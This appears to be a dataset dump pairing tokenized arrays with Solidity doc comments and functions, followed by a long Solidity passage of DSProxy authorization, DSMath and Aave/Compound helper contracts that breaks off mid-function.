[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 327, 8843, 429, 12, 4161, 3032, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xEaa72cfBFA202E0100F9b2712D2C076a033925D6/sources/contracts/KreyptOrder.sol
/ Reserve sentence Check if sentence is available Create the order + avoid stack too deep
@dev The buy function @param bundleNb : The number of the bundle to buy @param sentence : The sentence choose by the user @param clearSentence : The sentence clear by the Kreypt Algo @param destinationAddress : The destination address of the NFT @return commandNb : The number of the command function buyBundle( uint bundleNb, string memory sentence, string memory clearSentence, address destinationAddress, uint256 amountSpend ) internal returns (uint256) { if(bytes(sentence).length > 500 || bytes(clearSentence).length > 500) revert SentenceTooLong(); if(destinationAddress == address(0)) revert AddressNotValid(); uint256 commandNb = commands.length + 1; bytes32 _sentenceBytes32 = keccak256(abi.encodePacked(sentence)); bytes32 _clearSentenceBytes32 = keccak256(abi.encodePacked(clearSentence)); for (uint256 i = 0; i < bundles[bundleNb].itemsSize;) { NFTType _kreyptNFT = bundles[bundleNb].items[i].kreyptNFT; if (!isAvailableSentence(_kreyptNFT, _sentenceBytes32, _clearSentenceBytes32)) revert SentenceAlreadyUsed(); pendingSentences[_kreyptNFT][_sentenceBytes32] = commandNb; pendingClearSentences[_kreyptNFT][_clearSentenceBytes32] = commandNb; unchecked { ++i; } } { Command memory command = Command({ id: commandNb, owner: destinationAddress, bundleNb: bundleNb, sentence32: _sentenceBytes32, sentence: sentence, clearSentence32: _clearSentenceBytes32, clearSentence: clearSentence, amountSpend: amountSpend, status: Status.Pending }); commands.push(command); } emit NewOrder(commandNb, destinationAddress, msg.value, bundleNb, bundles[bundleNb].name, sentence, clearSentence); return commandNb; } @param commandNb : The number of the command @param Uris : The array of the URI of the NFT
9,740,074
[ 1, 19, 1124, 6527, 7515, 2073, 309, 7515, 353, 2319, 1788, 326, 1353, 397, 4543, 2110, 4885, 4608, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1377, 632, 5206, 1021, 30143, 445, 203, 1377, 632, 891, 3440, 22816, 294, 1021, 1300, 434, 326, 3440, 358, 30143, 203, 1377, 632, 891, 7515, 294, 1021, 7515, 9876, 635, 326, 729, 203, 1377, 632, 891, 2424, 17923, 294, 1021, 7515, 2424, 635, 326, 1475, 266, 93, 337, 2262, 3240, 203, 1377, 632, 891, 2929, 1887, 294, 1021, 2929, 1758, 434, 326, 423, 4464, 203, 1377, 632, 2463, 1296, 22816, 294, 1021, 1300, 434, 326, 1296, 203, 565, 445, 30143, 3405, 12, 203, 3639, 2254, 3440, 22816, 16, 203, 3639, 533, 3778, 7515, 16, 203, 3639, 533, 3778, 2424, 17923, 16, 203, 3639, 1758, 2929, 1887, 16, 203, 3639, 2254, 5034, 3844, 27223, 203, 565, 262, 2713, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 309, 12, 3890, 12, 19335, 2934, 2469, 225, 405, 6604, 747, 1731, 12, 8507, 17923, 2934, 2469, 405, 6604, 13, 15226, 29595, 10703, 3708, 5621, 203, 3639, 309, 12, 10590, 1887, 422, 1758, 12, 20, 3719, 15226, 5267, 1248, 1556, 5621, 203, 3639, 2254, 5034, 1296, 22816, 273, 4364, 18, 2469, 397, 404, 31, 203, 203, 3639, 1731, 1578, 389, 19335, 2160, 1578, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 19335, 10019, 203, 3639, 1731, 1578, 389, 8507, 17923, 2160, 1578, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 8507, 17923, 10019, 203, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 11408, 63, 9991, 22816, 8009, 3319, 1225, 30943, 288, 203, 5411, 423, 4464, 559, 389, 2 ]
./partial_match/1/0xC61b9439F9C3D74011b59fe8E28cE4fffB41D3B5/sources/InvestementBeta.sol
* @dev Remove a contract address from the whitelist @param _contract The address of the contract./
function removeFromWhitelist(address _contract) external onlyOwner { require( whitelist[_contract] == true, "Formation.Fi: no whitelist" ); require( _contract!= address(0), "Formation.Fi: zero address" ); whitelist[_contract] = false; }
3,702,179
[ 1, 3288, 279, 6835, 1758, 628, 326, 10734, 225, 389, 16351, 1021, 1758, 434, 326, 6835, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 22386, 18927, 12, 2867, 389, 16351, 13, 3903, 1338, 5541, 288, 203, 540, 2583, 12, 203, 5411, 10734, 63, 67, 16351, 65, 422, 638, 16, 203, 5411, 315, 12624, 18, 42, 77, 30, 1158, 10734, 6, 203, 3639, 11272, 203, 3639, 2583, 12, 203, 5411, 389, 16351, 5, 33, 1758, 12, 20, 3631, 203, 5411, 315, 12624, 18, 42, 77, 30, 3634, 1758, 6, 203, 3639, 11272, 203, 203, 3639, 10734, 63, 67, 16351, 65, 273, 629, 31, 203, 565, 289, 7010, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42220/0xf6b5F7a885CBc57d739aDBEe76E52A70Bc04D795/sources/project_/contracts/token/superfluid/SuperToken.sol
solhint-disable-next-line not-rely-on-time
function balanceOf(address account) public view override returns (uint256 balance) { (int256 availableBalance, , , ) = super.realtimeBalanceOfNow(account); return availableBalance < 0 ? 0 : uint256(availableBalance); }
3,497,532
[ 1, 18281, 11317, 17, 8394, 17, 4285, 17, 1369, 486, 17, 266, 715, 17, 265, 17, 957, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 11013, 951, 12, 2867, 2236, 13, 203, 202, 202, 482, 203, 202, 202, 1945, 203, 202, 202, 10601, 203, 202, 202, 6154, 261, 11890, 5034, 11013, 13, 203, 202, 95, 203, 202, 202, 12, 474, 5034, 2319, 13937, 16, 269, 269, 262, 273, 2240, 18, 7688, 957, 13937, 951, 8674, 12, 4631, 1769, 203, 202, 202, 2463, 2319, 13937, 411, 374, 692, 374, 294, 2254, 5034, 12, 5699, 13937, 1769, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.6.6; pragma experimental ABIEncoderV2; contract DSAuthEvents { event LogSetAuthority(address indexed authority); event LogSetOwner(address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(address(authority)); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, address(this), sig); } } } abstract contract DSAuthority { function canCall(address src, address dst, bytes4 sig) public virtual view returns (bool); } abstract contract DSGuard { function canCall(address src_, address dst_, bytes4 sig) public view virtual returns (bool); function permit(bytes32 src, bytes32 dst, bytes32 sig) public virtual; function forbid(bytes32 src, bytes32 dst, bytes32 sig) public virtual; function permit(address src, address dst, bytes32 sig) public virtual; function forbid(address src, address dst, bytes32 sig) public virtual; } abstract contract DSGuardFactory { function newGuard() public virtual returns (DSGuard guard); } contract DSMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x); } function div(uint256 x, uint256 y) internal pure returns (uint256 z) { return x / y; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } function imin(int256 x, int256 y) internal pure returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) internal pure returns (int256 z) { return x >= y ? x : y; } uint256 constant WAD = 10**18; uint256 constant RAY = 10**27; function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint256 wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } abstract contract DSProxy is DSAuth, DSNote { DSProxyCache public cache; // global cache for contracts constructor(address _cacheAddr) public { require(setCache(_cacheAddr)); } // solhint-disable-next-line no-empty-blocks receive() external payable {} // use the proxy to execute calldata _data on contract _code // function execute(bytes memory _code, bytes memory _data) // public // payable // virtual // returns (address target, bytes32 response); function execute(address _target, bytes memory _data) public payable virtual returns (bytes32 response); //set new cache function setCache(address _cacheAddr) public virtual payable returns (bool); } contract DSProxyCache { mapping(bytes32 => address) cache; function read(bytes memory _code) public view returns (address) { bytes32 hash = keccak256(_code); return cache[hash]; } function write(bytes memory _code) public returns (address target) { assembly { target := create(0, add(_code, 0x20), mload(_code)) switch iszero(extcodesize(target)) case 1 { // throw if contract failed to deploy revert(0, 0) } } bytes32 hash = keccak256(_code); cache[hash] = target; } } abstract contract DSProxyFactoryInterface { function build(address owner) public virtual returns (DSProxy proxy); } contract Migrations { address public owner; uint public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } constructor() public { owner = msg.sender; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } function upgrade(address new_address) public restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } } contract AaveHelper is DSMath { using SafeERC20 for ERC20; address payable public constant WALLET_ADDR = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; uint public constant SERVICE_FEE = 400; // 0.25% Fee address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant AAVE_LENDING_POOL_ADDRESSES = 0x24a42fD28C976A61Df5D00D0599C34c4f90748c8; uint public constant NINETY_NINE_PERCENT_WEI = 999900000000000000; uint16 public constant AAVE_REFERRAL_CODE = 64; /// @param _collateralAddress underlying token address /// @param _user users address function getMaxCollateral(address _collateralAddress, address _user) public view returns (uint256) { address lendingPoolAddressDataProvider = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolDataProvider(); address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); // fetch all needed data // using LTV as tokenLiquidationThreshold (,uint256 totalCollateralETH, uint256 totalBorrowsETH,,uint256 currentLiquidationThreshold,,,) = ILendingPool(lendingPoolAddressDataProvider).calculateUserGlobalData(_user); (,uint256 tokenLiquidationThreshold,,) = ILendingPool(lendingPoolCoreAddress).getReserveConfiguration(_collateralAddress); uint256 collateralPrice = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_collateralAddress); uint256 userTokenBalance = ILendingPool(lendingPoolCoreAddress).getUserUnderlyingAssetBalance(_collateralAddress, _user); uint256 userTokenBalanceEth = wmul(userTokenBalance, collateralPrice); // if borrow is 0, return whole user balance if (totalBorrowsETH == 0) { return userTokenBalance; } uint256 maxCollateralEth = div(sub(mul(currentLiquidationThreshold, totalCollateralETH), mul(totalBorrowsETH, 100)), currentLiquidationThreshold); /// @dev final amount can't be higher than users token balance maxCollateralEth = maxCollateralEth > userTokenBalanceEth ? userTokenBalanceEth : maxCollateralEth; // might happen due to wmul precision if (maxCollateralEth >= totalCollateralETH) { return totalCollateralETH; } // get sum of all other reserves multiplied with their liquidation thresholds by reversing formula uint256 a = sub(wmul(currentLiquidationThreshold, totalCollateralETH), wmul(tokenLiquidationThreshold, userTokenBalanceEth)); // add new collateral amount multiplied by its threshold, and then divide with new total collateral uint256 newLiquidationThreshold = wdiv(add(a, wmul(sub(userTokenBalanceEth, maxCollateralEth), tokenLiquidationThreshold)), sub(totalCollateralETH, maxCollateralEth)); // if new threshold is lower than first one, calculate new max collateral with newLiquidationThreshold if (newLiquidationThreshold < currentLiquidationThreshold) { maxCollateralEth = div(sub(mul(newLiquidationThreshold, totalCollateralETH), mul(totalBorrowsETH, 100)), newLiquidationThreshold); maxCollateralEth = maxCollateralEth > userTokenBalanceEth ? userTokenBalanceEth : maxCollateralEth; } return wmul(wdiv(maxCollateralEth, collateralPrice), NINETY_NINE_PERCENT_WEI); } /// @param _borrowAddress underlying token address /// @param _user users address function getMaxBorrow(address _borrowAddress, address _user) public view returns (uint256) { address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); (,,,,uint256 availableBorrowsETH,,,) = ILendingPool(lendingPoolAddress).getUserAccountData(_user); uint256 borrowPrice = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_borrowAddress); return wmul(wdiv(availableBorrowsETH, borrowPrice), NINETY_NINE_PERCENT_WEI); } /// @notice Calculates the fee amount /// @param _amount Amount that is converted /// @param _user Actuall user addr not DSProxy /// @param _gasCost Ether amount of gas we are spending for tx /// @param _tokenAddr token addr. of token we are getting for the fee /// @return feeAmount The amount we took for the fee function getFee(uint _amount, address _user, uint _gasCost, address _tokenAddr) internal returns (uint feeAmount) { address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); uint fee = SERVICE_FEE; if (Discount(DISCOUNT_ADDR).isCustomFeeSet(_user)) { fee = Discount(DISCOUNT_ADDR).getCustomServiceFee(_user); } feeAmount = (fee == 0) ? 0 : (_amount / fee); if (_gasCost != 0) { uint256 price = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddr); _gasCost = wmul(_gasCost, price); feeAmount = add(feeAmount, _gasCost); } // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } if (_tokenAddr == ETH_ADDR) { WALLET_ADDR.transfer(feeAmount); } else { ERC20(_tokenAddr).safeTransfer(WALLET_ADDR, feeAmount); } } /// @notice Returns the owner of the DSProxy that called the contract function getUserAddress() internal view returns (address) { DSProxy proxy = DSProxy(payable(address(this))); return proxy.owner(); } /// @notice Approves token contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _caller Address which will gain the approval function approveToken(address _tokenAddr, address _caller) internal { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeApprove(_caller, uint256(-1)); } } /// @notice Send specific amount from contract to specific user /// @param _token Token we are trying to send /// @param _user User that should receive funds /// @param _amount Amount that should be sent function sendContractBalance(address _token, address _user, uint _amount) public { if (_token == ETH_ADDR) { payable(_user).transfer(_amount); } else { ERC20(_token).safeTransfer(_user, _amount); } } function sendFullContractBalance(address _token, address _user) public { if (_token == ETH_ADDR) { sendContractBalance(_token, _user, address(this).balance); } else { sendContractBalance(_token, _user, ERC20(_token).balanceOf(address(this))); } } } contract AaveSafetyRatio is AaveHelper { function getSafetyRatio(address _user) public view returns(uint256) { address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); (,,uint256 totalBorrowsETH,,uint256 availableBorrowsETH,,,) = ILendingPool(lendingPoolAddress).getUserAccountData(_user); return wdiv(add(totalBorrowsETH, availableBorrowsETH), totalBorrowsETH); } } contract AdminAuth { using SafeERC20 for ERC20; address public owner; address public admin; modifier onlyOwner() { require(owner == msg.sender); _; } constructor() public { owner = msg.sender; } /// @notice Admin is set by owner first time, after that admin is super role and has permission to change owner /// @param _admin Address of multisig that becomes admin function setAdminByOwner(address _admin) public { require(msg.sender == owner); require(admin == address(0)); admin = _admin; } /// @notice Admin is able to set new admin /// @param _admin Address of multisig that becomes new admin function setAdminByAdmin(address _admin) public { require(msg.sender == admin); admin = _admin; } /// @notice Admin is able to change owner /// @param _owner Address of new owner function setOwnerByAdmin(address _owner) public { require(msg.sender == admin); owner = _owner; } /// @notice Destroy the contract function kill() public onlyOwner { selfdestruct(payable(owner)); } /// @notice withdraw stuck funds function withdrawStuckFunds(address _token, uint _amount) public onlyOwner { if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { payable(owner).transfer(_amount); } else { ERC20(_token).safeTransfer(owner, _amount); } } } contract Auth is AdminAuth { bool public ALL_AUTHORIZED = false; mapping(address => bool) public authorized; modifier onlyAuthorized() { require(ALL_AUTHORIZED || authorized[msg.sender]); _; } constructor() public { authorized[msg.sender] = true; } function setAuthorized(address _user, bool _approved) public onlyOwner { authorized[_user] = _approved; } function setAllAuthorized(bool _authorized) public onlyOwner { ALL_AUTHORIZED = _authorized; } } contract ProxyPermission { address public constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7; /// @notice Called in the context of DSProxy to authorize an address /// @param _contractAddr Address which will be authorized function givePermission(address _contractAddr) public { address currAuthority = address(DSAuth(address(this)).authority()); DSGuard guard = DSGuard(currAuthority); if (currAuthority == address(0)) { guard = DSGuardFactory(FACTORY_ADDRESS).newGuard(); DSAuth(address(this)).setAuthority(DSAuthority(address(guard))); } guard.permit(_contractAddr, address(this), bytes4(keccak256("execute(address,bytes)"))); } /// @notice Called in the context of DSProxy to remove authority of an address /// @param _contractAddr Auth address which will be removed from authority list function removePermission(address _contractAddr) public { address currAuthority = address(DSAuth(address(this)).authority()); // if there is no authority, that means that contract doesn't have permission if (currAuthority == address(0)) { return; } DSGuard guard = DSGuard(currAuthority); guard.forbid(_contractAddr, address(this), bytes4(keccak256("execute(address,bytes)"))); } } contract CompoundMonitorProxy is AdminAuth { using SafeERC20 for ERC20; uint public CHANGE_PERIOD; address public monitor; address public newMonitor; address public lastMonitor; uint public changeRequestedTimestamp; mapping(address => bool) public allowed; event MonitorChangeInitiated(address oldMonitor, address newMonitor); event MonitorChangeCanceled(); event MonitorChangeFinished(address monitor); event MonitorChangeReverted(address monitor); // if someone who is allowed become malicious, owner can't be changed modifier onlyAllowed() { require(allowed[msg.sender] || msg.sender == owner); _; } modifier onlyMonitor() { require (msg.sender == monitor); _; } constructor(uint _changePeriod) public { CHANGE_PERIOD = _changePeriod * 1 days; } /// @notice Only monitor contract is able to call execute on users proxy /// @param _owner Address of cdp owner (users DSProxy address) /// @param _compoundSaverProxy Address of CompoundSaverProxy /// @param _data Data to send to CompoundSaverProxy function callExecute(address _owner, address _compoundSaverProxy, bytes memory _data) public payable onlyMonitor { // execute reverts if calling specific method fails DSProxyInterface(_owner).execute{value: msg.value}(_compoundSaverProxy, _data); // return if anything left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /// @notice Allowed users are able to set Monitor contract without any waiting period first time /// @param _monitor Address of Monitor contract function setMonitor(address _monitor) public onlyAllowed { require(monitor == address(0)); monitor = _monitor; } /// @notice Allowed users are able to start procedure for changing monitor /// @dev after CHANGE_PERIOD needs to call confirmNewMonitor to actually make a change /// @param _newMonitor address of new monitor function changeMonitor(address _newMonitor) public onlyAllowed { require(changeRequestedTimestamp == 0); changeRequestedTimestamp = now; lastMonitor = monitor; newMonitor = _newMonitor; emit MonitorChangeInitiated(lastMonitor, newMonitor); } /// @notice At any point allowed users are able to cancel monitor change function cancelMonitorChange() public onlyAllowed { require(changeRequestedTimestamp > 0); changeRequestedTimestamp = 0; newMonitor = address(0); emit 